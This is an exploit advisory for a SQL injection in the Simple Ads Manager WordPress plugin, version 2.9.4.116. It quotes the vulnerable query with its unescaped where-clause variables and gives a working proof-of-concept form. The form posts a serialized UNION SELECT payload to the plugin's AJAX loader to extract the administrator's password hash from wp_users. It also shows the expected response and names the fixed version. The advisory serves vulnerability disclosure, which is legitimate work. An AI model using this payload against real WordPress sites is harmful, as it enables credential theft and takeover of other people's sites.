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WordPress Simple Ads Manager 2.9.4.116 SQL Injection

WordPress Simple Ads Manager 2.9.4.116 SQL Injection
Posted Dec 30, 2015
Authored by Kacper Szurek

WordPress Simple Ads Manager plugin version 2.9.4.116 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | c3225024050bfa8485a3aa261ef44cdbf1842789ed7f02486760b470ce90f477

WordPress Simple Ads Manager 2.9.4.116 SQL Injection

Change Mirror Download
# Exploit Title: Simple Ads Manager 2.9.4.116 SQL Injection
# Date: 30-12-2015
# Software Link: https://wordpress.org/plugins/simple-ads-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped.

File: simple-ads-manager\ad.class.php

$aSql = "
(SELECT
@pid := sp.id AS pid,
0 AS aid,
sp.name,
sp.patch_source AS code_mode,
@code_before := sp.code_before AS code_before,
@code_after := sp.code_after AS code_after,
@ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size,
sp.patch_code AS ad_code,
sp.patch_img AS ad_img,
\"\" AS ad_alt,
0 AS ad_no,
sp.patch_link AS ad_target,
0 AS ad_swf,
\"\" AS ad_swf_flashvars,
\"\" AS ad_swf_params,
\"\" AS ad_swf_attributes,
\"\" AS ad_swf_fallback,
sp.patch_adserver AS ad_adserver,
sp.patch_dfp AS ad_dfp,
0 AS count_clicks,
0 AS code_type,
IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle,
@aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca
FROM {$pTable} sp
WHERE {$pId} AND sp.trash IS FALSE)
UNION
(SELECT
sa.pid,
sa.id AS aid,
sa.name,
sa.code_mode,
@code_before AS code_before,
@code_after AS code_after,
@ad_size AS ad_size,
sa.ad_code,
sa.ad_img,
sa.ad_alt,
sa.ad_no,
sa.ad_target,
sa.ad_swf,
sa.ad_swf_flashvars,
sa.ad_swf_params,
sa.ad_swf_attributes,
sa.ad_swf_fallback,
0 AS ad_adserver,
0 AS ad_dfp,
sa.count_clicks,
sa.code_type,
IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle,
@aca AS aca
FROM {$aTable} sa
WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW})
ORDER BY ad_cycle
LIMIT 1;";

http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html

2. Proof of Concept

<?php
$out = array();
$out['WC'] = '1=0';
$out['WCT'] = '';
$out['WCW'] = ') UNION (SELECT user_pass, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2 FROM wp_users WHERE ID = 1';
$out['WC2W'] = '';
?>
<form method="post" action="http://wp-url/wp-content/plugins/simple-ads-manager/sam-ajax-loader.php">
<input type="hidden" name="action" value="load_place">
<input type="hidden" name="id" value="0">
<input type="hidden" name="pid" value="1">
<input type="text" name="wc" value="<?php echo base64_encode(serialize($out)); ?>">
<input type="submit" value="Send">
</form>

Administrator password will be here:

{"success":true,"ad":"<div id='c2077_1_%here_is_password%' class='sam-container sam-place' data-sam='0'><\/div>","id":"1","pid":"%here_is_password%","cid":"c2077_1_%here_is_password%"}

3. Solution:

Update to version 2.9.5.118
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